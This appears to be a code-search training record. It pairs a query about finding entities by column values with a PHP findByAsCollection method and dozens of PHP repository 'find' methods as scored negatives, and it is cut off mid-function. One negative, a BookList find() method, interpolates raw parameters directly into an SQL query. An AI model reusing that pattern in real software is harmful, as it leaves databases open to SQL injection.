"function query_list($value_col,$key_col='',$filter=array(),$order='')\n\t{\n\t\tstatic $cache = array();\n\n\t\t$cache_key = serialize($value_col).'-'.$key_col.'-'.serialize($filter).'-'.$order;\n\n\t\tif (isset($cache[$cache_key]))\n\t\t{\n\t\t\treturn $cache[$cache_key];\n\t\t}\n\t\tif (!is_array($value_col)) $value_col = array($value_col);\n\n\t\t$cols = $ret = array();\n\t\tforeach($value_col as $key => $col)\n\t\t{\n\t\t\t$matches = null;\n\t\t\t$cols[$key] = preg_match('/AS ([a-z_0-9]+)$/i',$col,$matches) ? $matches[1] : $col;\n\t\t}\n\t\tif (!$order) $order = current($cols);\n\n\t\tif (($search =& $this->search(array(),($key_col ? $key_col.',' : 'DISTINCT ').implode(',',$value_col),$order,'','',false,'AND',false,$filter)))\n\t\t{\n\t\t\tif (preg_match('/AS ([a-z_0-9]+)$/i',$key_col,$matches))\n\t\t\t{\n\t\t\t\t$key_col = $matches[1];\n\t\t\t}\n\t\t\telseif (!$key_col)\n\t\t\t{\n\t\t\t\t$key_col = current($cols);\n\t\t\t}\n\t\t\tforeach($search as $row)\n\t\t\t{\n\t\t\t\tif (count($cols) > 1)\n\t\t\t\t{\n\t\t\t\t\t$data = array();\n\t\t\t\t\tforeach($cols as $key => $col)\n\t\t\t\t\t{\n\t\t\t\t\t\t$data[$key] = $row[$col];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$data = $row[current($cols)];\n\t\t\t\t}\n\t\t\t\tif ($data) $ret[$row[$key_col]] = $data;\n\t\t\t}\n\t\t}\n\t\treturn $cache[$cache_key] =& $ret;\n\t}",
"public function find(string ...$columns)\n {\n return $this->execute(\n $this->syntax->selectSyntax(get_object_vars($this->select(...$columns)))\n );\n }",
"public function findAllBy($field, $value, $columns = ['*'])\n {\n return $this->model->where($field, '=', $value)->get($columns);\n }",
"public function findWhereIn($field, array $values, $columns = array('*'))\n {\n $this->applyCriteria();\n $model = $this->model->whereIn($field, $values)->get($columns);\n $this->resetModel();\n return $this->parserResult($model);\n }",
"public function getSome(array $entity) {\n\t\t$entityName = $this->getEntityName();\n\t\t$entityFields = $this->getEntityFields();\n\t\t$publicFieldsString = implode(', ', array_map(['self', 'wrapFieldNameInQuotes'], $this->getPublicFields()));\n\t\t// create entity filter\n\t\t$filterFields = [];\n\t\t$entityFilter = \" 1 = 1 \";\n\t\t// go through fields and check if they are filled\n\t\t$keys = array_keys($entity);\n\t\tforeach ($keys as $key) {\n\t\t\tif (isset($entity[$key]) and in_array($key, $entityFields)) {\n\t\t\t\t$entityFilter = $entityFilter . \" and \" . $key . \" = :\" . $key;\n\t\t\t\tarray_push($filterFields, $key);\n\t\t\t}\n\n\t\t}\n\n\t\t$sql = \"SELECT $publicFieldsString FROM $entityName entity WHERE $entityFilter\";\n\n\t\t$stmt = $this->db->prepare($sql);\n\n\t\tforeach ($filterFields as $field) {\n\t\t\t// todo validation\n\t\t\t$stmt->bindParam($field, $entity[$field]);\n\t\t}\n\n\t\t$stmt->execute();\n\t\t$results = [];\n\t\twhile ($row = $stmt->fetch()) {\n\t\t\t$results[] = $row;\n\t\t}\n\n\t\treturn $results;\n\t}",
"public static function getAll() {\n $entities = [];\n $sqlResult = DatabaseConnection::getResult(\"SELECT * FROM \" . static::$table);\n\n foreach($sqlResult as $row) {\n $object = new static();\n foreach($row as $property => $value) {\n $object -> $property = $value;\n }\n\n $entities[] = $object;\n }\n\n return $entities;\n }",
"static function find($column_id, $search_id) {\n //$column_id is what the user is search for ie due_date, book_id, etc\n //if $search_id is a date, it will be a string, else it will be an int\n if (is_string($search_id)) {\n $search_book_list = $GLOBALS['DB']->query(\"SELECT * FROM book_list WHERE {$column_id} = '{$search_id}'\");\n }\n else {\n $search_book_list = $GLOBALS['DB']->query(\"SELECT * FROM book_list WHERE {$column_id} = {$search_id}\");\n }\n $found_book = $search_book_list->fetchAll(PDO::FETCH_ASSOC);\n $found_books = array();\n foreach ($found_book as $book){\n $author_id = $book['author_id'];\n $book_id = $book['book_id'];\n $due_date = $book['due_date'];\n $checkout_patron_id = $book['checkout_patron_id'];\n $id = $book['id'];\n $new_book = new BookList($author_id, $book_id, $due_date, $checkout_patron_id, $id);\n array_push($found_books, $new_book);\n }\n //returned output is in an array incase there is more than one book found. I.E. due date being searched and finds more than one book with that due date\n return $found_books;\n }"
]
| [
"0.6334778",
"0.617779",
"0.6157514",
"0.6073378",
"0.60319084",
"0.6014799",
"0.60139567",
"0.5983866",
"0.587723",
"0.58647954",
"0.58557904",
"0.5845367",
"0.58412343",
"0.58412343",
"0.5840593",
"0.5828004",
"0.58189285",
"0.5757421",
"0.5749315",
"0.5680107",
"0.5626749",
"0.5605582",
"0.559991",
"0.5547419",
"0.5545556",
"0.5540208",
"0.5493317",
"0.54888695",
"0.54881424",
"0.5477701",
"0.54587287",
"0.54585224",
"0.54581624",
"0.5445374",
"0.5412006",
"0.54114884",
"0.54037297",
"0.540313",
"0.540313",
"0.5402999",
"0.5402999",
"0.5402999",
"0.5402999",
"0.5402999",
"0.5402999",
"0.5402999",
"0.5402999",
"0.540224",
"0.5401233",
"0.5399964",
"0.53955567",
"0.5393523",
"0.53884494",
"0.5384558",
"0.5382602",
"0.53818077",
"0.5380642",
"0.5378936",
"0.5368927",
"0.5367578",
"0.53409207",
"0.5339759",
"0.53375024",
"0.5323773",
"0.53199744",
"0.5306368",
"0.5302395",
"0.52988106",
"0.5287584",
"0.5283304",
"0.5282307",
"0.52813375",
"0.5281134",
"0.52682847",
"0.5264112",
"0.52597994",
"0.5252481",
"0.5246883",
"0.52363497",
"0.52291065",
"0.52233845",
"0.52218777",
"0.52198315",
"0.5210128",
"0.5209609",
"0.5208345",
"0.5205852",
"0.52014625",
"0.5197487",
"0.51968795",
"0.5195782",
"0.5189567",
"0.5189567",
"0.51888853",
"0.5185602",
"0.5182168",
"0.51789385",
"0.51753366",
"0.51746",
"0.5166724",
"0.516656"
]
| 0.0 | -1 |
Find a list of entities by searching for column values as collection | public function findByAsCollection(array $fields, int $limit = null): Collection
{
$iterator = $this->findBy($fields, $limit);
/** @var Collection<TEntity> $collection */
$collection = new Collection($this->db);
$collection->fromIterable($iterator);
return $collection;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function findBy(array $where): ICollection;",
"public function findAllWhereIn( array $value, $field, array $columns = ['*'] );",
"public function findBy($value);",
"public function findAllBy( $value = NULL, $field = NULL, array $columns = ['*'] );",
"public function findBy(array $criteria);",
"public function findAll( array $columns = ['*'] );",
"public function findAllEntities();",
"public function findBy(array $where = []);",
"public function findBy($criteria);",
"public function findBy($criteria);",
"public function findCriteria()\r\n\t{\n\t\t$result = $this -> connection -> setTable($this -> entity)\n\t\t\t\t\t\t\t\t\t -> fetch();\r\n\n\t\treturn $result;\r\n\t}",
"public function entities(): Collection;",
"public function whereInByAttributes($attributes, array $params, $columns = ['*']): Collection\n {\n return $this->model->whereIn($attributes, $params)->get($columns);\n }",
"public function findAllWhere(string $column, string $operator, $value, array $with = []);",
"abstract public function findBy($criteria);",
"public function findWhereIn(sting $field, array $value)\n {\n $entities = $this->model->select($this->columns)\n ->whereIn($field, $value)\n ->take($this->limit)\n ->skip($this->offset)\n ->orderBy($this->order, $this->sort)\n ->with($this->relationships)\n ->get();\n\n if ($entities->isEmpty()) {\n return false;\n }\n\n return $entities;\n }",
"public function find ( array $criteria )\n {\n $matches = array();\n\n foreach ( $this->_values as $row )\n {\n foreach ( $criteria as $field => $value )\n {\n if ( $row[$field] == $value )\n {\n array_push($matches, $row);\n }\n } // END foreach $criteria\n } // END foreach $_values\n\n return $matches;\n }",
"public function findAll(array $columns = ['*']);",
"abstract public function findBy($attributes, $value);",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function findAll();",
"public function find(array $criteria);",
"public function findAll()\n\t{\n\t\t$aTableSource = array_merge($this->_acceptedFields, $this->_cascadeFields);\n\t\t\n\t\t$aTables\t= $this->extractTables($aTableSource);\n\t\t$sSelect\t= implode(', ', $this->_acceptedFields);\n\t\t$sWhere \t= $this->compileClauseStrings($this->_cascadeFields);\n\t\t\n\t\t$this->_adapter->select($aTables, $sWhere, $sSelect);\n\t\t\n\t\t$collection = $this->buildCollection();\n\t\t\n\t\twhile($data = $this->_adapter->fetch())\n\t\t{\n\t\t\t$collection->add(null, $this->buildEntity($data));\n\t\t}\n\t\t\n\t\treturn $collection;\n\t}",
"public function findAll() {}",
"public function findAll() {}",
"public function findAll() {}",
"public function myFindAll(): array\n {\n $qb = $this->_em->createQueryBuilder()\n ->select('s')\n ->from($this->_entityName, 's')\n ->innerJoin('s.provider', 'p')\n ->addSelect('p')\n ->innerJoin('p.logos','l')\n ->addSelect('l')\n ->orderBy('s.releaseDate','DESC');\n\n return $qb->getQuery()\n ->getResult();\n }",
"public function findList(): array\n {\n $results = $this->pdo\n ->query(\"SELECT id, name FROM $this->table\")\n ->fetchAll(\\PDO::FETCH_NUM);\n $list = [];\n foreach ($results as $result) {\n $list[$result[0]] = $result[1];\n }\n return $list;\n }",
"public function findSets() {\n $select = $this->getDatabase()\n ->select()\n ->from($this->getTableName());\n\n $data = $select->fetchAll();\n\n $result = array();\n foreach ($data as $item) {\n $item['id'] = (int)$item['id'];\n\n $result[] = new Entity\\Set($item);\n }\n\n return $result;\n }",
"public function findBy($field, $value);",
"public function findAll() {\n $orderby = array_key_exists('position', $this->_class->columnNames) ? ['position' => 'ASC']: null;\n return $this->findBy(array(), $orderby);\n }",
"public function findAll()\n {\n $sql = \"SELECT rowid, * FROM USER\";\n $result = $this->getDb()->fetchAll($sql);\n $entities = array();\n foreach ($result as $row) {\n $id = $row['rowid'];\n $entities[$id] = $this->buildDomainObject($row);\n }\n return $entities;\n }",
"public static function search() {\r\n $result = new Collection();\r\n\t\t$key_name = static::getKeyName();\r\n $users = User::all()->toArray();\r\n\t\t$usersRoles = UserRole::all(['user_id', 'role_id'])->groupBy('user_id');\r\n\t\tforeach($users as &$user) {\r\n\t\t\t$user['roles'] = isset($usersRoles[$user[$key_name]]) ? array_pluck($usersRoles[$user[$key_name]], 'role_id') : [];\r\n $result[] = new static($user);\r\n\t\t}\r\n \r\n return $result;\r\n }",
"public function find(array $where);",
"public function fetchCollection($criteria = null);",
"public function findAll()\n {\n return $this->findBy(array());\n }",
"public function whereIn(\n string $source,\n string $field,\n Collection $values\n ): Collection {\n $statement = $this->pdo->prepare(\n sprintf(\n \"SELECT * FROM {$source} WHERE {$field} IN (%s);\",\n $values->map(\n function () {\n return '?';\n }\n )->implode(',')\n )\n );\n $statement->execute($values->values()->all());\n\n return new Collection($statement->fetchAll(PDO::FETCH_ASSOC) ?? []);\n }",
"public function findAll()\n {\n\n // query whether or not we've already loaded the value\n if (!isset($this->cache[__METHOD__])) {\n // try to load the EAV entity types\n $this->eavEntityTypeStmt->execute();\n\n // initialize the array for the EAV entity types\n $eavEntityTypes = array();\n\n // prepare the EAV entity types => we need the entity type code as key\n foreach ($this->eavEntityTypeStmt->fetchAll(\\PDO::FETCH_ASSOC) as $eavEntityType) {\n $eavEntityTypes[$eavEntityType[MemberNames::ENTITY_TYPE_CODE]] = $eavEntityType;\n }\n\n // append the EAV entity types to the cache\n $this->cache[__METHOD__] = $eavEntityTypes;\n }\n\n // return the EAV entity types from the cache\n return $this->cache[__METHOD__];\n }",
"public function myFindAll(){\n // $queryBuilder = $this->createQueryBuilder('a');\n // $query = $queryBuilder->getQuery();\n // $results = $query->getResult();\n return $this->createQueryBuilder('a')->getQuery()->getResult;\n }",
"public function findAllWhere(string $column, string $operator, $value, array $with = [])\n {\n $collection = [];\n\n try {\n $collection = $this->model->where($column, $operator, $value)->with($with)->get();\n } catch (PDOException $exception) {\n $this->handleException($exception);\n } finally {\n return $collection;\n }\n }",
"public function getAllWhereKeysIn(array $keys): CollectionInterface;",
"public function all()\n {\n $prepSql = \"SELECT {$this->_columnNames} FROM `{$this->_tableName}`\";\n $pstmt = $this->_prepare($prepSql);\n\n $pstmt->execute();\n\n $resultSet = $pstmt->fetchAll(\\PDO::FETCH_ASSOC);\n $pstmt->closeCursor();\n\n $collection = [];\n foreach ($resultSet as $dbRecord) {\n $entity = $this->_toEntity($dbRecord);\n $collection[] = $entity;\n }\n return $collection;\n }",
"public function findAll()\n {\n $this->ensureIsConfigured();\n $classname = $this->getRecordClassname();\n return $classname::find();\n }",
"public function findUsers(): iterable;",
"public function get_entities();",
"public abstract function find();",
"public function findList()\n {\n return $this->liste()\n ->getQuery()->getResult()\n ;\n }",
"public function findBy($array)\n {\n return $this->getEntityRepository()->findBy($array);\n }",
"public function findBy(string $collection, array $criteria = [], array $options = []): NoSQLDataSourceResultSet\n {\n $result_set = new NoSQLDataSourceResultSet();\n $this->_getClient($collection);\n\n // Build query string\n $query_string = '';\n foreach($criteria as $key => $value)\n {\n // General search among all fields\n if($key == '*all*')\n $key = '_text_';\n\n if(is_array($value))\n {\n if(strtolower(key($value)) == 'between')\n {\n $query_value = '[' . trim($value['between'][0]) . ' TO ' . trim($value['between'][1]) . ']';\n }\n elseif(strtolower(key($value)) == 'not')\n {\n if(is_array(current($value)))\n {\n $params = current($value);\n $query_value = $params[0] . ' TO ' . $params[1] . ' NOT ' . $params[2];\n }\n else\n {\n $query_value = '* TO * NOT ' . current($value);\n }\n }\n else\n {\n $query_value = '(';\n foreach($value as $value_part)\n {\n $query_value .= $value_part . ' OR ';\n }\n\n $query_value = rtrim($query_value, ' OR ');\n $query_value .= ')';\n }\n }\n else\n {\n $query_value = trim($value);\n }\n\n $query_string .= $key . ':' . $query_value . ' AND ';\n }\n\n $query_string = rtrim($query_string, ' AND ');\n\n $query = $this->client->createSelect()->setQuery($query_string);\n\n // Add sort\n if(!empty($options['sort_by']))\n {\n $query->addSort($options['sort_by'][0], $options['sort_by'][1]);\n }\n\n // Add start and max results\n if(!empty($options['start']))\n {\n $query->setStart($options['start']);\n }\n\n if(!empty($options['max_results']))\n {\n $query->setRows($options['max_results']);\n }\n\n // Get facets\n if(!empty($options['facets']))\n {\n foreach($options['facets'] as $facet)\n {\n $query->getFacetSet()->createFacetField($facet)->setField($facet);\n }\n }\n\n $docs = $this->client->execute($query);\n $result_set->setTotalResultsCount($docs->getNumFound());\n\n if($docs->getNumFound() > 0)\n {\n foreach($docs as $doc)\n {\n $fields = $doc->getFields();\n $formatted_fields = [];\n foreach($fields as $key => $value)\n {\n if($key == '_version_' || $key == 'score')\n continue;\n\n $value = str_replace(',USD', '', $value);\n $formatted_fields[$key] = $value;\n }\n\n $result_set->addResult(new NoSQLDataSourceResult($formatted_fields));\n }\n }\n\n // Get facets\n if(!empty($options['facets']))\n {\n foreach($options['facets'] as $facet)\n {\n $facet_values = $docs->getFacetSet()->getFacet($facet);\n foreach($facet_values as $facet_value => $count)\n {\n if($count < 1)\n {\n continue;\n }\n\n $result_set->addFacet([$facet_value => $count]);\n }\n }\n }\n\n return $result_set;\n }",
"public function findEntityByNameAll($q){\r\n\t\t$this->recursive = 0;\r\n\t\t$entities = $this->query(\"SELECT * \r\n\t\t\tFROM entities AS Entity \r\n\t\t\tWHERE Entity.name LIKE '%$q%' AND Entity.active = '1'\");\r\n\t\t/*\r\n\t\t$entities = $this->query(\"SELECT * \r\n\t\t\tFROM entities AS Entity \r\n\t\t\tWHERE Entity.name LIKE '%$q%' \r\n\t\t\tAND EXISTS (SELECT u.id FROM users AS u WHERE u.entity_id = Entity.id)\");\r\n\t\t\r\n\t\t*/\r\n\t\treturn $entities;\r\n\t}",
"function findPropertiesBy(array $criteria);",
"public function getSearchItems($column, $column_value, $offset = false, $limit = false, $order_type = 'desc', $order_by = 'created_at')\n\t{\n\t\tif(($offset === false) && ($limit === false)){\n\t\t\tif( 'desc' == $order_type ){\n\t\t\t\treturn \\ORM::for_table($this->table)->where_like($column, $column_value)->order_by_desc($order_by)->find_array();\n\t\t\t}else{\n\t\t\t\treturn \\ORM::for_table($this->table)->where_like($column, $column_value)->order_by_asc($order_by)->find_array();\n\t\t\t}\n\t\t}else{\n\t\t\tif( 'desc' == $order_type ){\n\t\t\t\treturn \\ORM::for_table($this->table)->where_like($column, $column_value)->order_by_desc($order_by)->limit($limit)->offset($offset)->find_array();\n\t\t\t}else{\n\t\t\t\treturn \\ORM::for_table($this->table)->where_like($column, $column_value)->order_by_asc($order_by)->limit($limit)->offset($offset)->find_array();\n\t\t\t}\n\t\t}\n\t}",
"function findAll() ;",
"function findPropertyBy(array $criteria);",
"function findBy($column, $keyword)\n {\n // TODO: Implementation\n }",
"public static function findMany($ids)\n {\n if (! is_array($ids)) {\n throw new \\UnexpectedValueException(\"IDs should be an array if primary key values!\");\n }\n\n $primaryKey = Structure::getTablePrimaryKey(static::class);\n if ($primaryKey === false) {\n throw new \\Exception(\"Primary Key can't be detected!\");\n }\n // Only get column name for the primary key\n $primaryKey = $primaryKey->name;\n\n /** @var Entity[] $result */\n $result = static::query()->where(array($primaryKey => array(\"IN\" => $ids)))->all();\n\n // Return results\n return $result;\n }",
"public function findBy(string $field, $value)\n {\n $entities = $this->model->select($this->columns)\n ->where($field, $value)\n ->take($this->limit)\n ->skip($this->offset)\n ->orderBy($this->order, $this->sort)\n ->with($this->relationships)\n ->get();\n\n if ($entities->isEmpty()) {\n return false;\n }\n\n return $entities;\n }",
"public function where($attribute, $value): ServerObjectCollectionInterface;",
"public function findMany(array $criteria)\n {\n $persister = $this->_entityManager->getEntityPersister($this->_entityName);\n\n return $persiter->loadMany($criteria);\n }",
"public function findAll()\n {\n $fields = $options = [];\n //$options['debug'] = 1;\n $options['enablefieldsfe'] = 1;\n\n return $this->search($fields, $options);\n }",
"public static function find_all($entity_data) {\n $search_results = array();\n $entities = call_user_func(array($entity_data['entity_name'], 'all')); \n foreach ($entities as $key => $entity) {\n $entity_data = EntityAPIUtils::entity_to_data($entity_data, $entity, false);\n array_push($search_results, $entity_data);\n }\n return $search_results;\n }",
"public function all(array $columns = ['*']): Collection;",
"public function getDescendantsWhere($column, $operator = null, $value = null, array $columns = ['*']);",
"public function findBy($search);",
"public function searchEntitiesByMetadata($key, $value)\n {\n assert('is_string($key)');\n assert('is_string($value)');\n\n $st = $this->execute(\n 'SELECT DISTINCT eid \n FROM '. self::$prefix .\"metadata jm\n WHERE `key` = ?\n AND ((value=?) OR (? REGEXP CONCAT('^',value,'\\$')))\n AND revisionid = (SELECT MAX(revisionid) FROM \".self::$prefix.\"metadata WHERE eid = jm.eid);\",\n array($key, $value, $value)\n );\n\n if ($st === false) {\n return 'error_db';\n }\n\n $this->_entities = array();\n $rows = $st->fetchAll(PDO::FETCH_ASSOC);\n foreach ($rows AS $row) {\n $entity = new sspmod_janus_Entity($this->_config);\n $entity->setEid($row['eid']);\n if ($entity->load()) {\n $this->_entities[] = $entity;\n } else {\n SimpleSAML_Logger::error(\n 'JANUS:UserController:searchEntitiesByMetadata - Entity could not be\n loaded, eid: '.$row['eid']\n );\n }\n }\n return $this->_entities;\n }",
"public static function getAll() {\n $entities = [];\n $sqlResult = DatabaseConnection::getResult(\"SELECT * FROM \" . static::$table);\n\n foreach($sqlResult as $row) {\n $object = new static();\n foreach($row as $property => $value) {\n $object -> $property = $value;\n }\n\n $entities[] = $object;\n }\n\n return $entities;\n }",
"public function getSearchItemsBy($where, $column, $column_value, $offset = false, $limit = false, $order_type = 'desc', $order_by = 'created_at')\n\t{\n\t\tif(($offset === false) && ($limit === false)){\n\t\t\tif( 'desc' == $order_type ){\n\t\t\t\treturn \\ORM::for_table($this->table)->where($where)->where_like($column, $column_value)->order_by_desc($order_by)->find_array();\n\t\t\t}else{\n\t\t\t\treturn \\ORM::for_table($this->table)->where($where)->where_like($column, $column_value)->order_by_asc($order_by)->find_array();\n\t\t\t}\n\t\t}else{\n\t\t\tif( 'desc' == $order_type ){\n\t\t\t\treturn \\ORM::for_table($this->table)->where($where)->where_like($column, $column_value)->order_by_desc($order_by)->limit($limit)->offset($offset)->find_array();\n\t\t\t}else{\n\t\t\t\treturn \\ORM::for_table($this->table)->where($where)->where_like($column, $column_value)->order_by_asc($order_by)->limit($limit)->offset($offset)->find_array();\n\t\t\t}\n\t\t}\n\t}",
"public function findBy(array $criteria, ?array $orderBy = null, $limit = null, $offset = null) : array;",
"public function find();",
"public function find(string $source, string $field, $value): Collection\n {\n $statement = $this->pdo->prepare(\n \"SELECT * FROM {$source} WHERE {$field} = :value LIMIT 1;\"\n );\n $statement->execute(['value' => $value]);\n\n return new Collection((array) $statement->fetch());\n }",
"public function getEntities();",
"public function getEntities();",
"function query_list($value_col,$key_col='',$filter=array(),$order='')\n\t{\n\t\tstatic $cache = array();\n\n\t\t$cache_key = serialize($value_col).'-'.$key_col.'-'.serialize($filter).'-'.$order;\n\n\t\tif (isset($cache[$cache_key]))\n\t\t{\n\t\t\treturn $cache[$cache_key];\n\t\t}\n\t\tif (!is_array($value_col)) $value_col = array($value_col);\n\n\t\t$cols = $ret = array();\n\t\tforeach($value_col as $key => $col)\n\t\t{\n\t\t\t$matches = null;\n\t\t\t$cols[$key] = preg_match('/AS ([a-z_0-9]+)$/i',$col,$matches) ? $matches[1] : $col;\n\t\t}\n\t\tif (!$order) $order = current($cols);\n\n\t\tif (($search =& $this->search(array(),($key_col ? $key_col.',' : 'DISTINCT ').implode(',',$value_col),$order,'','',false,'AND',false,$filter)))\n\t\t{\n\t\t\tif (preg_match('/AS ([a-z_0-9]+)$/i',$key_col,$matches))\n\t\t\t{\n\t\t\t\t$key_col = $matches[1];\n\t\t\t}\n\t\t\telseif (!$key_col)\n\t\t\t{\n\t\t\t\t$key_col = current($cols);\n\t\t\t}\n\t\t\tforeach($search as $row)\n\t\t\t{\n\t\t\t\tif (count($cols) > 1)\n\t\t\t\t{\n\t\t\t\t\t$data = array();\n\t\t\t\t\tforeach($cols as $key => $col)\n\t\t\t\t\t{\n\t\t\t\t\t\t$data[$key] = $row[$col];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$data = $row[current($cols)];\n\t\t\t\t}\n\t\t\t\tif ($data) $ret[$row[$key_col]] = $data;\n\t\t\t}\n\t\t}\n\t\treturn $cache[$cache_key] =& $ret;\n\t}",
"function findAll($expression, $offset = null, $limit = null);",
"public function find($object) {\r\n $oReflectionClass = new ReflectionClass($object);\r\n //$properties = $oReflectionClass->getProperties(ReflectionProperty::IS_PUBLIC);\r\n $properties = $oReflectionClass->getProperties();\r\n $this->className = $class = $oReflectionClass->getName();\r\n\r\n foreach ($properties as $key => $reflectionProperty)\r\n $datos_where[$reflectionProperty->getName()] = $reflectionProperty->getValue($object);\r\n $this->setList(null);\r\n $this->setObject(null);\r\n $table = $this->table = CriteriaEntityMgr::instance()->findTable($this->className);\r\n $this->SQL = MySQL_DB::instance()->DBSQLSelect($table, null, $datos_where, $this->array_order, $this->type_order);\r\n $this->execute();\r\n $list = array();\r\n if($this->getNumRows() == 1) {\r\n $row = MySQL_DB::instance()->DBFetchArray($this->result);\r\n $object = $this->iterateProperty($class, $object, $row, $properties);\r\n $this->setObject($object);\r\n $list[] = $object;\r\n }\r\n if($this->getNumRows() > 1) {\r\n while ($row = MySQL_DB::instance()->DBFetchArray($this->result)) {\r\n $object_new = $oReflectionClass->newInstance($oReflectionClass);\r\n $object_new = $this->iterateProperty($class, $object_new, $row, $properties);\r\n $list[] = $object_new;\r\n }\r\n }\r\n $this->setList($list);\r\n return $this;\r\n }",
"public function getCriteria();",
"function findCPTinGroup($em,$document,$code,$codeType)\n{\n $patient=$document->getPatient();\n $pid=$patient->getPID();\n $enc=$document->getOEMREncounter(); \n $codeList=codesInGroup($code,$codeType);\n \n $qb = $em->createQueryBuilder()\n ->select(\"cpt\")\n ->from(\"library\\doctrine\\Entities\\OEMRBillingEntry\",\"cpt\")\n ->where(\"cpt.encounter=:enc\")\n ->andWhere(\"cpt.code_type=:ct\")\n ->andWhere(\"cpt.pid=:pat\")\n ->andWhere(\"cpt.code in \".$codeList);\n\n $qb->setParameter(\"enc\",$enc->getEncounter());\n $qb->setParameter(\"ct\",$codeType);\n $qb->setParameter(\"pat\",$pid);\n \n $qry=$qb->getQuery();\n $res=$qry->getResult(); \n return $res;\n \n}",
"public function getItemsCriteria() {}",
"public function getItemsCriteria() {}",
"function find_by_sql($sql) {\n\t\t\treturn $this->find_all($sql);\n\t\t}",
"function getDataListWhere($table,$fields = null,$where = null,$order = null,$limit_start,$limit_limit) {\r\n\t\t\r\n\t\t$db = self::getDatabaseDataWhere($table,$fields,$where,$order,$limit_start,$limit_limit);\r\n\t\t\r\n\t\t//echo $db->getQuery();\r\n\t\treturn $db->loadAssocList();\r\n\t}",
"public function getData(): iterable\n {\n $query = CodePoolSchema::query();\n\n if ($this->searchTerm) {\n $query->whereIn('id', CodePoolSchema::search(\"%{$this->searchTerm}%\")->keys());\n }\n\n $filters = collect($this->queryStringFilters)->filter(function ($value) {\n return (bool) $value;\n });\n\n foreach ($this->queryExtenders as $qe) {\n call_user_func($qe, $query, $this->searchTerm, $filters);\n }\n\n // Get the table filters we want to apply.\n $tableFilters = $this->getFilters()->filter(function ($filter) use ($filters) {\n return $filters->has($filter->field);\n });\n\n foreach ($tableFilters as $filter) {\n call_user_func($filter->getQuery(), $filters, $query);\n }\n\n return $query->paginate($this->perPage);\n }",
"public function findBy(array $criteria, array $orderBy = null, $limit = null, $offset = null);",
"public function getListQuery();",
"public function getEntities()\n {\n return $this->getRepository()->findBy([], ['discipline' => 'ASC']);\n }",
"public function findAll() : array;",
"public function findAll() : array;",
"public static function fromCollectionFindAllWhoMatchProperties(array $collection, array $props) {\n\t\t$matches = array();\n\t\tforeach($collection as $entity) {\n\t\t\t$allPropsMatched = TRUE;\n\t\t\tforeach($props as $key => $value) {\n\t\t\t\tif ($entity[$key] !== $value) {\n\t\t\t\t\t$allPropsMatched = FALSE;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($allPropsMatched) {\n\t\t\t\tarray_push($matches, $entity);\n\t\t\t}\n\t\t}\n\t\treturn $matches;\n\t}",
"public function getBy(array $criteria);",
"public function findWhereIn($field, array $values, $columns = ['*'])\n {\n return $this->model->whereIn($field, $values)->get($columns);\n }",
"public static function find($conditions = array(), $offset = 0, $limit = null, $ordering = array(),\n &$total = null)\n {\n // Get some values.\n $keys = self::getPrimaryKeys();\n $tableName = self::getTableName();\n $types = self::getTypes();\n \n // Build up conditions.\n $whereValues = $whereTypes = $whereConds = array();\n foreach ($conditions as $column => $value)\n {\n if (isset($types[$column]) && ($types[$column] == 'istring'))\n {\n $whereConds[] = $tableName . '.' . $column . ' ILIKE :' . $column;\n }\n else\n {\n $whereConds[] = $tableName . '.' . $column . ' = :' . $column;\n }\n \n $whereValues[$column] = $value;\n $whereTypes[$column] = isset($types[$column]) ? $types[$column] : 'string';\n }\n \n // Fetch total.\n if ($total !== null)\n {\n $total = Query::select()->\n count('*', 'total')->\n from(self::getTableName())->\n where($whereConds)->\n execute($whereValues, $whereTypes)->\n getFirstRow()->\n getValue('total', 'int');\n }\n \n // Build select clause.\n $query = static::buildSelectionQuery()->\n where($whereConds)->\n orderBy($ordering)->\n limit($limit, $offset);\n \n // Execute query.\n $resultSet = $query->execute($whereValues, $whereTypes);\n \n // Get types.\n $entityListType = get_called_class();\n $entityType = static::getType();\n \n // Create entity list.\n $list = new $entityListType();\n \n // Add entities.\n foreach ($resultSet as $row)\n {\n // Fetch values.\n $values = $row->getValues($types);\n \n // Create entity.\n $entity = new $entityType();\n $entity->setRawValues($values);\n \n // Add entity.\n $list->add($entity);\n \n $entity->setMarkedAsUpdated(false);\n }\n \n return $list;\n }",
"abstract public function columnListQuery($table);",
"public function findByData($a,$b=null,$c=null, $d=null, $e=null, $f=null) {\n\t\tif (!is_array($a) && $b !== null) {\n\t\t\t$keyValues = array($a=>$b);\n\t\t\tif ($c) {\n\t\t\t\t$multipleResults = $c;\n\t\t\t}\n\t\t\tif ($d!==null) {\n\t\t\t\t$neededMatches = $d;\n\t\t\t} \n\t\t\tif ($e!==null) {\n\t\t\t\t$contains = $e;\n\t\t\t} \n\t\t\tif ($f!==null) {\n\t\t\t\t$limit = $f;\n\t\t\t} \n\t\t\t\n\t\t} \n\t\t\n\t\t// if arguments are keyValue, multipleresults, needed matches, contains\n\t\telse if (is_array($a)) {\n\t\t\t$keyValues = $a;\n\t\t\tif ($b) {\n\t\t\t\t$multipleResults = $b;\n\t\t\t}\n\t\t\tif ($c!==null) {\n\t\t\t\t$neededMatches = $c;\n\t\t\t} \n\t\t\tif ($d!==null) {\n\t\t\t\t$contains = $d;\n\t\t\t} \n\t\t\tif ($e!==null) {\n\t\t\t\t$limit = $e;\n\t\t\t} \n\t\t}\n\t\t\n\t\tif (!isset($multipleResults))\n\t\t\t$multipleResults=false;\n\t\t\n\t\tif (!isset($contains))\n\t\t\t$contains=false;\n\t\t\t\n\t\tif (!isset($limit))\n\t\t\t$limit=false;\n\t\t\t\n\t\t// If needed matches is not set or set to all (0) then needed matches is number of key value pairs\n\t\tif (!isset($neededMatches) || $neededMatches === 'all' || $neededMatches === null) {\n\t\t\t$neededMatches = count($keyValues);\n\t\t} \n\t\t\n\t\t// Needed matches cannot not be more than specified key value pairs\n\t\tif ($neededMatches > count($keyValues)) {\n\t\t\t$neededMatches = count($keyValues);\n\t\t}\n\t\t\n\t\t// Start the query\n\t\t$dataTable = $this->getMapper()->getDbDataTable();\n\t\t$query = $dataTable->select();\n\t\t\n\t\t// We only need the row_id\n\t\t$query->from($dataTable, 